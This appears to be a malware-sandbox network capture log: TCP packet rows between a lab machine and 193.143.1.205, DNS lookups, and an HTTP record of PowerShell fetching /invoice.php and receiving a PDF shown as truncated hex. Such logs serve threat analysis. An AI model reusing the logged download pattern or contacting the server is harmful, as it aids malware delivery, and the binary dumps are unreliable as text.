Jan 11, 2025 04:59:10.096631050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.096654892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.096664906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.096671104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.096709013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.096728086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.096735001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.096740961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.096749067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.096751928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.096765041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.096795082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.096801996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.096810102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.096813917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.096828938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.096843004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.096856117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.096884966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.107851028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.107861996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.107872963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.107886076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.107897997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.107908010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.107911110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.107925892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.107928991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.107935905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.107948065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.107968092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.108000040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108014107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108040094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.108050108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108061075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108072042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108100891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.108125925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.108233929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108248949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108259916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108275890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108283997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.108287096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108298063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108310938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108310938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.108324051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108338118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.108356953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108366966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108371973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.108380079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108405113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.108422995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108433962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108445883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108458042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108469963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.108474016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108488083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108500004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108500004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.108510971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.108546019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.108568907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108581066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108593941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108616114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108623981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.108632088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108656883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.108695030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108711004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108721018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108736992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.108747959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.108794928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108804941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108814955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108840942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.108886003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108899117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108916044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108925104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108932972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.108938932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108943939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.108974934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108987093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.108989000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.109018087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.109114885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.109127998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.109155893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.109165907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.109174967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.109181881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.109185934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.109201908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.109210968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.109234095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.109235048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.109246969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.109256029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.109277010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.109289885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.109379053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.109389067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.109399080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.109409094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.109422922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.109448910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.121355057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.126979113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.126990080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.127015114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.127037048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.127055883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.127068996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.127089024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.127096891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.127100945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.127135038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.127142906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.127146006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.127157927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.127177954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.127197027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.127201080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.127207994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.127218008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.127257109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.127269983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.127283096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.127320051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.153008938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.153028011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.153038979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.153070927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.153094053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.153106928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.153112888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.153119087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.153131008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.153145075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.153177977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.153186083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.153196096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.153206110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.153214931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.153234959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.153258085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.153285027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.153296947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.153306007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.153315067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.153331041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.153351068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.164324045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.164334059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.164340019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.164349079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.164360046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.164400101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.164428949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.164439917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.164448977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.164480925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.164495945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.183540106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.183556080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.183573961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.183584929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.183595896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.183607101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.183609009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.183641911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.183657885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.183670998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.183682919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.183696985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.183717012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.183721066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.183731079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.183743000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.183765888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.183796883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.183828115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.183839083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.183850050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.183861017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.183876038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.183904886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.194873095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.194885969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.194907904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.194926977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.194931030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.194957972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.194969893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.194977999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.194982052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.194991112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.195029974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.195125103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.195136070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.195147038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.195158958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.195169926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.195182085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.195184946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.195215940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.195226908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.233428955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.237281084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.459748983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.784017086 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.789031029 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:10.789186001 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.790783882 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:10.795627117 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:11.609190941 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:59:11.659069061 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:59:13.023533106 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:59:23.811990023 CET	62726	53	192.168.2.5	1.1.1.1
Jan 11, 2025 04:59:37.868938923 CET	57858	53	192.168.2.5	1.1.1.1
Jan 11, 2025 04:59:50.322643042 CET	49501	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 04:59:23.811990023 CET	192.168.2.5	1.1.1.1	0x5017	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:59:37.868938923 CET	192.168.2.5	1.1.1.1	0x89f9	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:59:50.322643042 CET	192.168.2.5	1.1.1.1	0x53d4	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 11, 2025 04:59:23.819358110 CET	1.1.1.1	192.168.2.5	0x5017	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 04:59:37.875925064 CET	1.1.1.1	192.168.2.5	0x89f9	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 04:59:50.329982996 CET	1.1.1.1	192.168.2.5	0x53d4	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	6180	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:59:08.678488016 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 04:59:09.462562084 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:59:09 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 04:59:09.462615967 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 04:59:09.462654114 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 04:59:09.462690115 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 04:59:09.462723970 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 04:59:09.462759018 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 04:59:09.462800980 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 04:59:09.462836981 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
